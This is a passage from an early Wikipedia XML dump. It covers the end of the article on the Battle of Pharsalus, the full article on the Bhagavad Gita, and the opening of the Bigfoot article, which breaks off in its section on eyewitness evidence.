* Legions levied for the civil war &amp;ndash; legions later known as [[Legio I|I ''Germanica'']], [[Legio III Gallica|III ''Gallica'']], and [[Legio IV Macedonica|IV ''Macedonica'']]

==Battle==

Both commanders realized that if one army was able to flank the other and force them to fight on two sides, they would probably win. As such, both commanders put a substantial amount of effort into ensuring that the other would be unable to 'sneak around to the back'. The battle was held with the [[Enipeus|River Enipeus]] to Caesar's left, ensuring that neither side would be able to move around the other army on Caesar's left. The most important part of the battle was to happen on Caesar's right. Pompey hoped to win by using his superior cavalry to mount a two-front attack on Caesar's forces. As such, he placed a large contingent of cavalry on Caesar's right, with light forces consisting of [[sling (weapon)|slinger]]s (''funditores'') and [[archery|archer]]s (''sagitarii''). Caesar placed his cavalry on his right, with the fourth battle line in reserve behind it.

===Deployment===

Caesar opened the battle with three battle lines, and a fourth in reserve. [[Mark Antony]] was given command of Caesar's troops by the river. The center of Caesar's army was commanded by [[Domitius Calvinus]]. The commander of the right wing of Caesar's army was [[Publius Sulla]], while [[Ahenobarbus]] commanded the right side of Pompey's force. Caesar was greatly-outnumbered in cavalry. To make matters worse for Caesar, [[Titus Labienus]] controlled the far-left wing of Pompey's army. Titus Labienus had been one of Caesar's legion commanders in Gaul, and knew Caesar better than any other general on the field that day. Light and heavy infantry were deployed near the river on both sides. The majority of the battle was a clash between heavy infantry.

===Conflict===

When the two generals had finished deploying their troops, the heavy infantry began to close. Pompey ordered his soldiers not to charge (against the standards of the day) in an effort to tire out Caesar's troops; however, this tactic backfired as Pompey's multi-lingual forces were unable to receive orders easily, and Caesar's troops stopped halfway, leaving Pompey's troops confused. Caesar's veteran centurions, forseeing Pompey's trap, stopped halfway on their charge, and allowed their lines to rest. Pompey's fresh legionaries and Caesar's veteran troops created a stalemate in the center. By the river, the [[light infantry]] skirmished, before the [[Roman legion|heavy infantry]] closed. Titus Labienus led a cavalry charge, and succeeded in pushing back Caesar's cavalry and light infantry. However, when confronted by Caesar's fourth line of heavy infantry, Labienus' charge was pushed back, and the light infantry and cavalry of Pompey's right were pushed into the foothills of [[Mount Dogandzis]]. Caesar's fourth battle line wheeled into Pompey's rear at the same moment when Caesar pushed a fresh line of troops into battle. Now facing Caesar's fresh third line at the center of the battle and the attack from behind from Caesar's fourth line, Pompey saw that his defeat was at hand. Caesar deployed his experienced ''pilae'', the javelin throwers, against the threat of the large cavalry force of Pompey, telling them to thrust their javelins at the riders instead of throwing them. Pompey fled the battle while his troops were defeated under pressure. Caesar ransacked Pompey's camp, and took control of the remainder of Pompey's army.

==Aftermath==

Pompey fled from Pharsalus to [[Egypt]], where he was assassinated on the order of [[Pharaoh]] [[Ptolemy XIII]].  The Battle of Pharsalus ended the wars of the [[First Triumvirate]], and left Caesar 'supreme commander' of the Roman World.  Caesar spent the next few years 'mopping up' remnants of the [[Senatorial Faction]].  After finally completing this task, he was assassinated in a conspiracy arranged by [[Marcus Junius Brutus]] and [[Gaius Cassius Longinus]].

==Further reading==
*William E. Gwatkin, Jr., ''Some Reflections on the Battle of Pharsalus'', Transactions and Proceedings of the American Philological Association, Vol. 87. (1956), pp. 109-124.

[[Category:Battles of the Roman Republic|Pharsalus]]
[[Category:48 BC]]

[[de:Schlacht von Pharsalos]]
[[el:Μάχη των Φαρσάλων]]
[[es:Batalla de Farsalia]]
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[[nl:Slag bij Pharsalus]]
[[pl:Bitwa pod Farsalos]]
[[fi:Farsaloksen taistelu]]</text>
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    <title>Bhagavad Gita</title>
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      <comment>/* On Raja Yoga */ rv spelling error</comment>
      <text xml:space="preserve">{{Hindu scriptures}}
The '''Bhagavad Gita''' ([[Sanskrit]]: '''&amp;#2349;&amp;#2366;&amp;#2327;&amp;#2357;&amp;#2342;&amp;#2381; &amp;#2327;&amp;#2368;&amp;#2340;&amp;#2366;''' - ''Bhāgavad G&amp;#299;tā'') is revered as a sacred text of [[Hinduism|Hindu]] [[Hindu philosophy|philosophy]]. The name 'Bhagavad Gita', when translated into [[English Language|English]], literally means 'Song of God'. Its written format is that of a poem which is 700 verses long, originating from the famous [[puranic]] [[Epic poetry|epic]] [[Mahabharata]] (''Bhishma Parva'' chapters 23 &amp;ndash; 40).

Commonly referred to as ''The Gita'', it is a conversation between [[Krishna]] and [[Arjuna]] which takes place on a battlefield, just prior to the start of a [[Kurukshetra war|climactic war]]. During the conversation, [[Krishna]] proclaims that he is God Himself ([[Bhagavan]]), and at the request of [[Arjuna]], displays his [[divine]] form, which is described as [[Eternity|timeless]], that leaves the latter awestruck. The conversation summarizes a number of different [[Yoga|Yogic]] and [[Vedantic]] philosophies, explaining the meaning and purpose of life and existence. The Bhagavad Gita refers to itself as an '[[Upanishad]]', and is sometimes called ''G&amp;#299;topani&amp;#351;ad''.

It is not exactly clear when the Bhagavad Gita was written. Astronomical [http://www.boloji.com/astro/00325.htm evidence] cited in the Mahabharata place the incidents upon which the Gita is based in the year [[3137 BCE]], while the [[Purana]]s suggest a date of ''c.'' [[1924 BCE]]. Scholars place the actual writing of the Gita in the latter half of the [[1st millennium BC]] (roughly [[4th century BC]]), making it a contemporary of the older [[Upanishad]]s.

==Background==
[[Image:Gita1.jpg|thumb|right|250px|[[Krishna]] to [[Arjuna]]: ''Behold My mystic opulence!''
&lt;br&gt;&lt;small&gt;''Artwork © courtesy of [http://www.krishna.com The Bhaktivedanta Book Trust]''&lt;/small&gt;]] 
The discourse on the Bhagavad Gita begins before the start of the climactic battle at [[Kurukshetra_war|Kurukshetra]]. It begins with the [[kshatriya]] prince [[Arjuna]], as he becomes filled with doubt on the battlefield. Realising that his enemies are his own relatives, beloved friends, and revered teachers, he turns to his charioteer and [[Guru|guide]], Sri [[Krishna]] (an [[avatar]] of Sri [[Vishnu]]), for advice.

[[Krishna]] counsels [[Arjuna]], beginning with the tenet that the human [[Soul]] is immortal, and human death on the battlefield is just the shedding of the body, but the soul is permanant. Krishna goes on to expound on the yogic paths of devotion, action, meditation and knowledge. Fundamentally, the Bhagavad Gita proposes that true enlightenment comes from growing beyond identification with the [[Ego]], the little Self, and that one must identify with the Truth of the immortal Self, (the soul or [[Atman]]), the ultimate Divine Consciousness. Through detachment from the personal Ego, the [[Yogi]], or follower of a particular path of [[Yoga]], is able to transcend his mortality and attachment from the material world, and see the Infinite (the [[Brahman]]).

To demonstrate the infinity of the unknowable [[Brahman]], Krishna grants Arjuna the boon of cosmic vision (albeit temporary), and allows the prince to see Him in all his Divine Glory. He reveals that He is fundamentally both the ultimate essence of ''Being'' in the universe, and also its material body. This is called the [[Vishvarupa]]/Viratrupa.

==The Scripture of Yoga==
The Gita addresses the discord between the senses and the intuition of cosmic unity. It speaks of the Yoga of equanimity, a detached outlook. The term Yoga covers a wide range of meanings, but in the context of the Bhagavad Gita, describes a unified outlook, serenity of mind, skill in action, and the ability to stay attuned to the glory of the Self (Atman), which is of the same essence as the basis of Being (Brahman). According to Krishna, the root of all suffering and discord is the agitation of the mind caused by desire. The only way to douse the flame of desire is by stilling the mind through discipline of the senses and the intellect.

However, abstinence from action is regarded as being just as detrimental as extreme indulgence. According to the Bhagavad Gita, the goal of life is to free the mind and intellect from their complexities, and to focus them on the glory of the Self, by dedicating one's actions to the divine. This goal can be achieved through the Yogas of meditation, action, devotion and knowledge.The Gita describes the best Yogi as one who constantly thinks of God.

Krishna summarizes the Yogas through eighteen chapters. There are four kinds of Yoga - Raja Yoga or ''Psycho-Physical Meditation'', Bhakti Yoga or ''Devotion'', Karma Yoga or ''Selfless Action'', and Jnana (pronounced ''gyaan'') Yoga or ''Self Transcending Knowledge''.

While each path differs, their fundamental goal is the same - to realize Brahman (the ''' ''Divine Essence'' ''') as being the only truth, that the body is temporal, and that the ''Supreme Soul'' ([[Paramatman]]) is infinite. Yoga's aim ([[nirvana]] or [[moksha]]) is to escape from the cycle of reincarnation through realization of oneness with the ultimate reality. There are three stages to self-realisation enunciated from the Bhagavad Gita:

1. Brahman - The impersonal universal energy

2. Paramatma - The Supreme Soul sitting in the heart of every living entity.

3. Bhagavan - God as a personality, with a transcendental form.

Here are some quotations from Krishna that make up history's first real yoga text and give comprehensive definitions of the four principle yogas: 

===On The Goal Of Yoga===
&quot;When the mind comes to rest, restrained by the practice of Yoga, and when beholding the Self, by the Self, he is content in the Self.&quot; [http://vedabase.net/bg/6/20] &quot; He who finds his happiness within, his delight within, and his light within, this yogi attains the bliss of Brahman, becoming Brahman.&quot; 

===On Bhakti Yoga===
Put simply, Bhakti Yoga is ''Service in Love and Devotion to God'' (Krishna in the context of the Bhagavad Gita). 

&quot;I consider the Yogi-devotee - who lovingly contemplates on Me with supreme faith, and whose mind is ever absorbed in Me - to be the best of all the Yogis&quot;. [http://vedabase.net/bg/6/47]
&quot;After attaining Me, the great souls do not incur rebirth in this miserable transitory world, because they have attained the highest perfection.&quot; [http://vedabase.net/bg/8/15]
&quot;... those who, renouncing all actions in Me, and regarding Me as the Supreme, worship Me... For those whose thoughts have entered into Me, I am soon the deliverer from the ocean of death and transmigration, Arjuna. Keep your mind on Me alone, your intellect on Me. Thus you shall dwell in Me hereafter.&quot; [http://vedabase.net/bg/12/6]
&quot;And he who serves Me with the yoga of unswerving devotion, transcending these qualities [binary opposites, like good and evil, pain and pleasure] is ready for liberation in Brahman.&quot; [http://vedabase.net/bg/14/26]
&quot;Fix your mind on Me, be devoted to Me, offer service to Me, bow down to Me, and you shall certainly reach Me. I promise you because you are My very dear friend.&quot; [http://vedabase.net/bg/18/65]
&quot;Setting aside all meritorious deeds (Dharma), just [[surrender (religion)|surrender]] completely to My will (with firm faith and loving contemplation). I shall liberate you from all sins. Do not fear.&quot; [http://vedabase.net/bg/18/66]

===On Karma Yoga===
Karma Yoga is essentially ''Acting, or doing one's duties in life as per his/her [[dharma]], or duty, without concern of results'' - a sort of constant sacrifice of action to the Supreme. It is action done without thought of gain. In a more modern interpretation, it can be viewed as duty bound deeds done without letting the nature of the result affecting ones actions. It is said that the results can be of 3 types - as aimed for, opposite of what is aimed for, or a mixture of these. If one can perform his duties (as prescribed in the [[Vedas]]) without any anticipation of the result of his actions, he is bound to succeed. It includes, but is not limited to, dedication of one's chosen profession and its perfection to God. It is also visible in community and social service, since they are inherently done without thought of personal gain. 

'''Example:''' If one is playing tennis on the tennis court, his duty is to play as well as he can. If he is a [[Karma Yogi]], the loss of a few points will not hamper his enthusiasm and energy for the rest of the game, but if he is not, then he will start getting tense, nervous, self-conscious, etc. and is then bound to make mistakes and lose anyway. This is a simple example of Karma Yoga for a [[layman]].

Krishna advocates [[Nishkam Karma Yoga]] (the Yoga of Selfless Action) as the ideal path to realize the Truth. Allocated work done without expectations, motives, or thinking about its outcomes tends to purify one's mind and gradually makes an individual fit to see the value of reason and the benefits of renouncing the work itself. These concepts are vividly described in the following verses:

:&quot;To action alone hast thou a right and never at all to its fruits;let not the fruits of action be thy motive; neither let there be in thee any attachment to inaction&quot; -- ''verse 47, Chapter 2-Samkhya theory and Yoga practise''

:&quot;Fixed in yoga, do thy work, O Winner of wealth(Arjuna), abandoning attachment, with an even mind in success and failure, for evenness of mind is called yoga&quot; -- ''verse 48, Chapter 2-Samkhya theory and Yoga practise''

:&quot;With the body, with the mind, with the intellect, even merely with the senses, the Yogis perform action toward self-purification, having abandoned attachment. He who is disciplined in Yoga, having abandoned the fruit of action, attains steady peace...&quot; [http://vedabase.net/bg/5/11]

In order to achieve true liberation, it is important to control all mental desires and tendencies to enjoy and sense pleasures. The following verses illustrate this:
:''Verses 62,63, chapter 2- Samkhya theory and Yoga practise''
:&quot;When a man dwells in his mind on the object of sense, attachment to them is produced. From attachment springs desire and from desire comes anger.&quot;

:&quot;From anger arises bewilderment, from bewilderment loss of memory; and from loss of memory, the destruction of intelligence and from the destruction of intelligence he perishes&quot;

===On Jnana Yoga===
Jnana Yoga is a process of learning to discriminate between what is real and what is not, what is eternal and what is not. Through a steady advancement in realization of the distinction between Real and the Unreal, the Eternal and the Temporal, one develops into a ''Jnana Yogi''. This is essentially a path to God through knowledge and discrimination, and has been described as being the &quot;shortest, and steepest&quot; path to God - the most difficult one.

&quot;When he perceives the various states of being as resting in the One, and from That alone spreading out, then he attains Brahman. / They who know, through the eye of knowledge, the distinction between the field and the knower of the field, as well as the liberation of beings from material nature, go to the Supreme.&quot; [http://vedabase.net/bg/13/31].

===On Raja Yoga===
Raja Yoga is the stilling of the mind and body through meditating techniques, geared at realizing one's true nature. This practice was later described by [[Patanjali]] in his [[Yoga Sutras]].

&quot; Establishing a firm seat for himself in a clean place... having directed his mind to a single object, with his thought and the activity of the senses controlled, he should practice yoga for the purpose of self-realization. Holding the body, head and neck erect, motionless and steady, gazing at the tip of his own nose and not looking in any direction, with quieted mind, banishing fear, established in the brahmacharin vow of celibacy, controlling the mind, with thoughts fixed on Me, he should sit, concentrated, devoted to Me. Thus, continually disciplining himself, the yogin whose mind is subdued goes to nirvana, to supreme peace, to union with Me.&quot; [http://vedabase.net/bg/6/11]

==Influence of Bhagavad Gita==
In many ways seemingly a heterogeneous text, the Gita is a reconciliation of many facets and schools of Hindu philosophy of both Brahmanical (i.e., orthodox Vedic) origin, and the parallel ascetic and Yogic traditions. It comprises primarily Vedic (as in the four Vedas, as opposed to the Upanishads/Vedanta), Upanishadic, Sankhya and Yogic philosophies. It has stood the test of time, bringing together all four thought systems by taking their largely cohesive, common ideologies and backgrounds into the powerful [[Sanskrit]] verse of one text.

It had always been a creative text for Hindu priests and [[yogi|Yogis]]. Although not strictly part of the 'canon' of Vedic writings, almost all Hindu sects draw upon the Gita as authoritative. Some claim that it may have been inserted into the Mahabharata at a later date, but this is only natural as it sounds more like an Upanishad (which are commentaries that followed the Vedas) in thought than a Purana (histories), of which tradition the Mahabharata is a part.

For its religious depth, quintessential Upanishadic and Yogic philosophy and beauty of verse, the Bhagavad Gita is one of the most compelling and important texts of the Hindu tradition. It is one of the world's greatest religious and spiritual scriptures.

For the Vedantic schools of Hindu philosophy , it is one of the three foundation texts (Sanskrit: Prasthana Trayi, literally three points of departure)( the other two being the [[Upanishad]]s and [[Brahma Sutra]]s). Every such school is required to have a commentary on the three. The oldest available commentary is from [[Adi Shankara]] but he mentions older commentators. He is followed by classical commentators like Anandagiri, Shridhara Swami, Madhusudana Saraswati, [[Ramanuja]], [[Madhavacharya]], [[Nimbarka]], [[Vallabha]] and [[Dnyaneshwar]]. While the traditional text commented upon by many scholars including Adi Shankara and Ramanuja, consists of 700 verses, there exists a recension of the text from Kashmir with additional 15 verses. The renowned philosopher [[Abhinavagupta]](10-11th century CE) has written a commentary on this recension called Gitartha-Samgraha. Other ancient and medieval scholars (like [[Vedanta Desika]] in the Tatparya-Chandrika) seem to be aware of such additional verses but prefer to comment on the popular 700 verses.

Among the great sages and philosophers who have drawn inspiration from the Bhagavad Gita is Sri [[Chaitanya Mahaprabhu]], who initiated public singing of the &quot;Hare Krishna&quot; mantra.

American physicist and director of the Manhattan Project J. Robert Oppenheimer, upon witnessing the world's first atomic blast in 1945, is reported to have misquoted &quot;I have become Death, the shatterer of worlds,&quot; [12].

The dynamic [[Swami Vivekananda]], the follower of Sri [[Ramakrishna]] was known for his seminal commentaries on the four Yogas - Bhakti, Jnana, Karma and Raja Yoga. He drew from his knowledge of the Gita to expound on these Yogas. [[Swami Sivananda]] advises the aspiring Yogi to read verses from the Bhagavad Gita every day. [[Paramahamsa Yogananda]], writer of the famous &quot;Autobiography of a Yogi&quot;, viewed the Bhagavad Gita as one of the world's most divine scriptures, along with the ''Four Gospels of Jesus''.

[[Mahatma Gandhi]] derived great moral strength from Bhagavad gita, which is evident in his words:
:&quot;The Geeta is the universal mother. I find a solace in the Bhagavadgeeta that I miss even in the Sermon on the Mount. When disappointment stares me in the face and all alone I see not one ray of light, I go back to the Bhagavad Gita. I find a verse here and a verse there , and I immediately begin to smile in the midst of overwhelming tragedies - and my life has been full of external tragedies - and if they have left no visible or indelible scar on me, I owe it all to the teaching of Bhagavad geeta.&quot;

==See also==
* [[Bhagavad Gita As It Is]]
* [[Mahabharata]]

==References==
* [http://wikisource.org/wiki/%E0%A4%AD%E0%A4%97%E0%A4%B5%E0%A4%A6%E0%A5%8D_%E0%A4%97%E0%A5%80%E0%A4%A4%E0%A4%BE Full text in Sanskrit with Devanagari] (Wikisource)
* [http://en.wikisource.org/wiki/Bhagavad_Gita_(en) English translation by Kâshinâth Trimbak Telang] (Wikisource)
* [http://en.wikisource.org/wiki/Bhagavad_Gita_(en),_EA English translation by Sir Edwin Arnold] (Wikisource)

==External links: the text and translations==
{{Wikiquote}}
The Bhagavad Gita is quickly becoming one of the most popular religious texts in translation, with numerous readings and adaptations of its 700 verses being published in many languages, especially with its exposure to the world outside [[India]]. 

Traditionally the commentators belong to spiritual traditions or schools ([[sampradaya]]) and Guru lineages ([[parampara]]), which preserve the teaching in pure form. Thus traditions stemming from [[Krishna]] himself are considered the most faithful to the original message.

It should be kept in mind that different translators and commentators have widely differing views on what multi-layered [[Sanskrit]] words and passages truly signify, and their best possible presentation in English depending on the sampradaya they are affiliated to. Especially in modern times in the West, different authors have come up with a wealth of diverse interpretations that often do not agree with the traditional views, the reason being the background and intrinsic values of the interpreters and commentators, which may still be well rooted in Western culture.

Though overall the Gita features Sanskrit that is fairly easily comprehensible, translations of the original Sanskrit text may at times be inaccurate on account of the lack of appropriate corresponding terminology. 

===English translations and commentaries===
* [http://www.bhagavad-gita.org Audio recitations of the Bhagavad-Gita] in MP3 spoken in 15 languages and sung in Sanskrit, plus introductions of the Bhagavad-Gita from the four authorised samparadayas.
* [http://www.gitasupersite.iitk.ac.in/index.htm Gita Supersite] Multilingual Bhagavadgita with translations, classical and contemporary commentaries and much more.
* [http://www.krishna.com/main.php?id=291 Bhagavad Gita As It Is] by [[A.C._Bhaktivedanta_Swami_Prabhupada]]
* [http://www.vedabase.net/bg/en Online Bhagavad Gita] by Srila Prabhupada
* [http://www.bhagavad-gita.org/Gita/intro.html Srimad Bhagavad-Gita Overview by Jagannath Das]
* [http://www.harekrishna.com/~ara/col/books/BG/tsem1.html Introduction]
* [http://www.chinmayauk.org/Resources/Downloads.htm Swami Chinmayananda translation and commentary]
* [http://www.yogamovement.com/texts/gita.html Sir Edwin Arnold translation]
* [http://www.sacred-texts.com/hin/sbe08/ Kashinath Trimbak Telang translation]
* [http://members.aol.com/jajnsn/ Mahatma Gandhi translation and interspersed commentary]
* [http://www.atmajyoti.org/gi_bhagavad_gita_intro.asp Swami Nirmalananda Giri translation in metered verse for singing.]
* [http://eawc.evansville.edu/anthology/gita.htm Dr. Ramanand Prasad translation] 
* [http://www.san.beck.org/Gita.html Sanderson Beck translation]
* [http://sss.vn.ua/bh_g_eng.htm Swami Tapasyananda translation]
* [http://www.theosociety.org/pasadena/gita/bg-eg-hp.htm William Quan translation]

====Commentaries====
* [http://www.granthamandira.org/search.php?search_keywords=Bhagavad Six commentaries - Adi Sankara, Ramanuja, Sridhara Swami, Madhusudana Sarasvati, Visvanatha Chakravarti and Baladeva Vidyabhusana] (Roman transliteration of Sanskrit)
* [http://www.prabhupadavani.org/Gita/web/text/001.html Bhagavad Gita introduction lecture by A.C. Bhaktivedanta Swami Prabhupada]
* [http://www.atmajyoti.org/hi_gita_commentary_1.asp Commentary on the Gita] by Swami Nirmalananda Giri
* [http://swami-center.org/en/text/bhagavad_gita.html Bhagavad Gita with Commentaries by Vladimir Antonov]

====Audio====
* [http://www.bhagavad-gita.org/ Verses in Sanskrit, transliteration, Hare Krishna-influenced translations and accompanying chants in Realaudio]
* [http://www.vaisnava.cz/clanek_en.php3?no=24 Recitation of verses in Sanskrit ('''downloadable mp3s''')]
* [http://www.spiritual-happiness.com/scriptures.html Bhagavad Gita in streaming Realaudio]

====Selections====
* [http://www.bhagavad-gita.org/Gita/verse-01-01.html Devanagri Sanskrit transliterations and Hare Krishna-influenced Sanskrit-to-English translations for all 700 verses]
* [http://www.sacred-texts.com/hin/m06/m06025.htm Gita excerpt from the Mahabharata by Kisari Mohan Ganguly (published between 1883 and 1896), the most comprehensive English translation to date]
* [http://www.atmajyoti.org/gi_bhagavad_gita_maharshi.asp Maharshi Gita] Verses from the Bhagavad Gita arranged by Ramana Maharshi to give its essential meaning.
* http://home.att.net/%7Es-prasad/geeta.htm
* [http://www.geocities.com/profvk/gohitvip/contentsbeach11.html Live Happily the Gita Way] a sequence of 12 lectures, by profvk

====Eknath Easwaran's poetic translation====
* [http://www.nilgiri.org/Contentfiles/Passages/RiversPassage.cfm?ID=25 The Way of Love] 
* [http://www.nilgiri.org/Contentfiles/Passages/RiversPassage.cfm?ID=5 The Illumined Man]    
* [http://www.nilgiri.org/Contentfiles/Passages/RiversPassage.cfm?ID=63 What Is Real Never Ceases]    
* [http://www.nilgiri.org/Contentfiles/Passages/RiversPassage.cfm?ID=37 Whatever You Do]    
* [http://www.nilgiri.org/Contentfiles/Passages/RiversPassage.cfm?ID=46 Be Aware of Me Always]

====Miscellaneous====
* [http://www.geocities.com/neovedanta/gita.html Vedantic commentary on the Gita.]
* [http://www.gita-society.com/ International Gita Society]
* [http://www.gita4free.com/englishmenu.html Gita4free.com]
* [http://www.geeta-kavita.com/ Geeta Kavya Madhuri: Metered translation into Hindi verses by Prof. Rajiv Krishna Saxena]

====Gujarati====
* [http://www.SaralGita.com Saral Gita - translation of Bhagavad Gita alongwith sanskrit verses, mp3 audio of select chapters]


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    <title>Bigfoot</title>
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{{dablink|For other uses of Bigfoot, see [[Bigfoot (disambiguation)]]. For other uses of Sasquatch, see [[Sasquatch (disambiguation)]].}}

[[Image:Smalfut.jpg|thumb|Frame 352 from the Patterson-Gimlin film]]
'''Bigfoot''', also called '''Sasquatch''', is described as a large, [[biped]]al hairy [[humanoid]] creature living in remote wilderness areas of the [[North America]], such as those in southwestern Canada, the [[Great Lakes]] region, the [[Pacific Northwest]], the [[Rocky Mountains]], the forests of the [[U.S. Northeast]], and the [[U.S. Southern states]]. Some believe the same creature may be found around the world under different regional names, such as [[Yeti]]. Sightings of similarly-described, unconfirmed creatures have also allegedly occurred in [[China]], [[Russia]], [[Australia]] and [[South America]].

The majority of mainstream scientists reject the possibility of the creature's existence, and consider the stories of Bigfoot to be a combination of unsubstantiated folklore and hoax.

==Description==
Individuals claiming to have seen Bigfoot generally give a description with some common elements: a 7 to 10 feet (2 to 3 [[meter]]) tall, [[ape]]- or human-like bipedal creature, broad-shouldered and of a strong build. Aside from the face, the palms of the hands, and the soles of the feet, the creature's body is said to be covered with short shaggy fur that is usually said to be black or dark brown in color, though rust, reddish, sandy or silver fur are occasionally reported.

Reports sometimes describe large eyes (Green 1978:16), a pronounced brow [http://www.sheppardsoftware.com/usaweb/factfile/Unique-facts-USA15.htm], and a large, low-set forehead [http://www.lloydpye.com/flash/8-Hominoids.swf] that is alternately reported as crested or rounded. 

Large human-like footprints attributed to this creature gave rise to the name &quot;Bigfoot&quot;. Ecologist [[Robert Michael Pyle]] describes them as follows: &quot;Tracks commonly measure fifteen to twenty inches or more in length. They have five toes, a double-muscle ball, and a wide arch.&quot; (Pyle, 3)

Foul odors, reminiscent of [[feces]], [[sewage]], [[carrion]] (rotten meat/ dead animals) or strong body odor are believed by some to likely be associated with Bigfoot. [http://paranormal.about.com/od/bigfootsasquatch/a/aa112204.htm]

What some people believe to be Sasquatch vocalizations have been described as high-pitched shrieks or whistles, and in others as low-pitched, [[guttural]] grunting or squealing. [http://www.oregonbigfoot.com/sounds.php] However, there is no widely accepted evidence demonstrating a link between such sounds and the alleged creature.

Most alleged sightings have been at night, leading to speculation among proponents that the creatures, if they exist, could be [[nocturnal]].

Opinions even exist about this theoretical creature's diet. In the opinion of Bigfoot researcher and anthropologist [[Grover Krantz]], &quot;[t]he kinds of food that are consumed by sasquatches are reported by many observers; how many of these reports are accurate is a matter of diverse opinion.&quot; (Krantz, 159) He also adds, &quot;In general I would describe the sasquatch as [[omnivore|omnivorous]]. It is probably mainly a [[vegetarian]] and what might be described as an 'opportunistic [[carnivore]]'&quot; (''ibid'', 160-161). It should be noted, however, that Krantz's acceptance of the creature's existance is solely his opinion.

==Bigfoot phenomenon==

Bigfoot is one of the more famous creatures in [[cryptozoology]]. Cryptozoologist [[John Green]] has postulated that Bigfoot is a worldwide phenomenon (Green 1978:16).

Many who consider the creature's existence a possibility claim that accounts of large, hairy, ape-like or &quot;wild man&quot; creatures (or reports of inexplicably large, human-like footprints) from the Pacific Northwest date as far back as the late 18th century. Some researchers have argued that these earlier accounts are consistent with more contemporary Bigfoot reports, while critics doubt their authenticity and question the accuracy of interpreting older reports through modern preconceptions. Skeptics also question the authenticity of these earlier reports in general, as many of them were not documented before the 1950s.

The earliest unambiguous reports of gigantic ape-like creatures in the Pacific northwest date from 1924, after a series of alleged encounters at a location in [[Washington]] later dubbed [[Ape Canyon]], as related in ''[[The Oregonian]]'' [http://www.rfthomas.clara.net/papers/faq.html] As noted in &quot;[[Etymology]]&quot; below, similar reports appear in the mainstream press dating back at least to the 1920s. 

The phenomenon reached widespread recognition in 1958 when enormous footprints were reported in [[Humboldt County, California]]. 
 
Mainstream scientists have found existing physical Bigfoot evidence and sightings unpersuasive; generally, science dismisses the phenomenon as the product of the misidentification of common animals, mythology or [[folklore]]. For instance, [[northern Europe]]'s former belief in [[troll]]s has been suggested to be similar to Bigfoot legends. Less charitable scientists have argued that many (or most) sightings are simply hoaxes. 

Many academics and professionals contend that further study is a waste of time, but others argue that though current [[scientific method|evidence]] may be lacking, new data should be evaluated objectively as it arises. Others (including an active [[subculture]] composed primarily of amateurs) continue research and consider the existence of Bigfoot a possibility. 

==Etymology==
The words &quot;Bigfoot&quot; and &quot;Sasquatch&quot; are often used interchangeably, though they have different origins worth noting. The term &quot;Sasquatches&quot; sometimes refers to the unknown beings collectively, whereas &quot;Bigfoot&quot; is often used to refer to an individual creature. Usually, in the plural, &quot;Bigfoot creatures&quot; is more acceptable. 
   
===Bigfoot===
The late [[Smithsonian]] primatologist [[John Napier (primatologist)|John Napier]] noted that &quot;the term Bigfoot has been in colloquial use since the early 1920's [sic] to describe large, unaccountable human-like footprints in the Pacific northwest&quot; (Napier, 74). However, according to [[Loren Coleman]] and [[Jerome Clark]], Andrew Genzoli deserves credit for the first formal use of the word on October 5, 1958 (Coleman and Clark, 39-40). Genzoli was a columnist and editor at the ''Humbolt Times'', and that day's front page story showed Jerry Crew, a bulldozer operator on a road-building crew, holding an enormous [[plaster cast]] of a footprint. The text began, &quot;While the tracks of old Big Foot [sic] have been in evidence for some time...,&quot; before detailing the worker's claims to have discovered an enormous footprint at an isolated work site [http://www.n2.net/prey/bigfoot/stories/rocky.htm]. Genzoli's story was picked up by the [[Associated Press]] and garnered international attention, culminating several years later into what anthropologist Grover Krantz characterized as &quot;sasquatch mania&quot; (Krantz, 5).

It is worth noting that Crew was overseen by Wilbur L. Wallace, brother of [[Raymond L. Wallace]], who both later claimed to have collected conclusive evidence of Bigfoot's existence and to have hoaxed substantial amounts of it. Wallace was poorly regarded by many who took the subject seriously. Napier wrote, &quot;I do not feel impressed with Mr. Wallace's story&quot; regarding having over 15,000 feet of film showing Bigfoot (Napier, 89).

===Sasquatch===

The term &quot;Sasquatch&quot; was coined in the 1920s by J.W. Burns, a school teacher at a [[British Columbia]]n [[Chehalis (tribe)|Chehalis]] reservation.  Burns collected [[Indigenous peoples of the Americas|Native American]] accounts regarding large, hairy creatures said to live in the wild. Loren Coleman and Jerome Clark wrote that Burns's &quot;Native American informants called these beasts by various names, including 'sokqueatl' and 'soss-q'tal'&quot; (Coleman and Clark, p. 215). Burns noted the [[phonetically]] similar names for the creatures and decided to invent one term for them all.  That name, Sasquatch, happens to be similar to the word for the beast in the Chehalis dialect of [[Halkemeylem]], ''sesqac'' (''c=ts'').  Interestingly, proponents note, Chehalis is in the area where historic Bigfoot sightings are densest, and is generally considered to be, if anywhere is, &quot;Sasquatch territory.&quot; The Sasquatch is, in fact, a local clan totem and the band is nonchalant about the creature's existence, except to say that the creature is camera-shy and would rather be left alone.

Over time, Burns's [[neologism]] came to be used by others, primarily in the Pacific Northwest. In 1929, ''[[Maclean's]]'' published one of Burns's articles, &quot;Introducing British Columbia's Hairy Giants,&quot; which included the word &quot;Sasquatch&quot; in describing the enormous creatures. 

After widespread publicity surrounding the 1958's Bigfoot reports from Humbolt County, California, researchers began searching old newspapers and documents for similar accounts, thus rediscovering and popularizing Burns's term. 

To some ears, &quot;Sasquatch&quot; has a less sensationalistic association than does &quot;Bigfoot,&quot; and is consequently more popular among researchers who strive for legitimacy.

==Evidence==

===Eyewitness reports===

Some cryptozoologists have argued that the most persuasive [[circumstantial evidence]] for Bigfoot's existence is the high number (possibly thousands) of credible eyewitness reports from individuals, who claim to have clearly seen creatures that they describe as large, bipedal and ape-like. 

The majority of Sasquatch reports are generated from areas having low human population densities, but many do originate from parks near major cities, such as [[Portland, Oregon]] [http://www.cddc.vt.edu/host/weishaus/Bigfoot/para-8b.htm], [[Washington, D.C.]] [http://home.hamptonroads.com/stories/story.cfm?story=82385&amp;ran=127779], and [[Baltimore, Maryland]] [http://www.gcbro.com/mddb1.htm]. In addition, most sightings are near rivers, creeks or lakes, and from areas where annual rainfall exceeds twenty inches (500 mm). Researchers point out that these common factors indicate patterns of a living species occupying an [[ecological niche]], as opposed to hoaxed sightings [http://www.rfthomas.clara.net/news/talesofbf.html]. The late Grover Krantz noted these same points and offered a detailed proposal for Sasquatch [[ecology]] and social behavior (Krantz, 158-171).

